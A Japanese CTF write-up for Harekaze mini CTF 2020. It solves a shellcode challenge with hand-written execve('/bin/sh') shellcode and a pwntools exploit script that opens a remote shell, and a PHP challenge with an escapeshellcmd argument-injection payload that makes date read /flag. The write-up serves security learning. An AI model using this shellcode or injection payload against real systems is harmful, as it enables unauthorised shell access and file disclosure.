Harekaze mini CTF 2020 writeup

https://ctf.harekaze.com/ctf.harekaze.com

github.com

目次

成績

etherknotとして出場しました。
私はWebとPwnのwarmupを解きました。

f:id:kisaragi211:20201228002703p:plain

Writeup

Pwn

Shellcode

shellcode.c

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("Present for you! \"/bin/sh\" is at %p\n", binsh);
    puts("Execute execve(\"/bin/sh\", NULL, NULL)");

    char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
    read(0, code + 6, 0x100);
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);

    ((void (*)())(code))();

    return 0;
}

関数ポインタがあったり、mmapされた領域がPROT_EXECになっていたりするので題名通りshellcodeを入力して呼出させれば良さそう。
ただ呼び出し時はrspとrbpが0になるみたいなので注意が必要(?)
私はいきなりshellcodeをバイナリで書くことはできいのでアセンブリを書きました。

/bin/shの場所は接続すると表示してくれるのでそこを指定します。

$ nc 20.48.83.165 20005
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)

shellcode.s

.globl _shell

_shell:
mov rdi, 0x404060
mov rsi, 0
mov rdx, 0
mov rax, 59
syscall

これをコンパイルしてobjdumpで表示してコピーして体裁を整えます。
この辺りはもう少し良い方法がありそうなので他のwriteupをチェックしようと思います。

$ gcc -c shellcode.s
$ objdump -d -M intel shellcode.o

shellcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_shell>:
   0:   48 c7 c7 60 40 40 00    mov    rdi,0x404060
   7:   48 c7 c6 00 00 00 00    mov    rsi,0x0
   e:   48 c7 c2 00 00 00 00    mov    rdx,0x0
  15:   48 c7 c0 3b 00 00 00    mov    rax,0x3b
  1c:   0f 05                   syscall

これを送信するコードを書きます。 solve.py

from pwn import *

context.binary = './shellcode'
p = remote('20.48.83.165', 20005)

data = p.recvuntil('Execute execve("/bin/sh", NULL, NULL)')
binsh = data.split()[6]
log.warn(binsh)
shellcode = '\x48\xc7\xc7\x60\x40\x40\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05'
p.sendline(shellcode)

p.interactive()

flagは/home/shellcode/flagにあるので表示させます。

$ python3 solve.py
[*] '/home/vagrant/work/ctf/HarekazeminiCTF/pwn/Shellcode/distfiles/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 20.48.83.165 on port 20005: Done
[!] 0x404060
[*] Switching to interactive mode

$ cat /home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

Web

What time is it now?

index.php

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  exit;
}

$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>What time is it now?</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
  </head>
  <body>
   <header>
      <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
        <div class="container">
          <a class="navbar-brand" href="index.php">What time is it now?</a>
          <div class="navbar-collapse">
            <ul class="navbar-nav mr-auto">
              <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li>
            </ul>
          </div>
        </div>
      </nav>
    </header>
    <main>
      <section class="jumbotron text-center">
        <div class="container">
          <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1>
          <p>
            <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a>
            <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a>
            <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a>
          </p>
        </div>
      </section>
    </main>
    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
  </body>
</html>

Dockerfile

FROM php:7.4-apache

ADD public/index.php /var/www/html/

RUN chmod -R 755 /var/www
RUN chown root:root /var/www

RUN echo "HarekazeCTF{<censored>}" > "/flag"
RUN chmod -R 755 /flag*

ソースを見てみるといかにもshell_execとescapeshellcmdが怪しそうです。
なので少しescapeshellcmdについて調べると関数の脆弱性に関する記事がいくつか出てきました。

PHPのescapeshellcmdの危険性 | 徳丸浩の日記

OSコマンドのエスケープ – yohgaki's blog

escapeshellcmdは'"が対になっていない場合しかエスケープしないみたいです。
その特性を使って攻撃します。

dateコマンドのオプションを調べると-f --fileというオプションがあることがわかりました。
これを使うと

$ date -f flag.txt
date: invalid date ‘flag{hoge}’

dateコマンドで使えない形式のものは上記のようにエラー出力として表示されるみたいです。
さらに都合の良いことにindex.phpをみるとstderrがstdoutにリダイレクトされています。
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=%s%27+-f+%27/flagでアクセスします。
内部的にはdate '+%s'+-f+'/flag' 2>&1が組み立てられます。
結果。

f:id:kisaragi211:20201228002718p:plain

最初配布ファイルに気づかずflagの位置や名前が分からないから無理だ、となっていましたがリーダーからDockerfileの存在を知らされ無事解決しました。
チームって良いですね。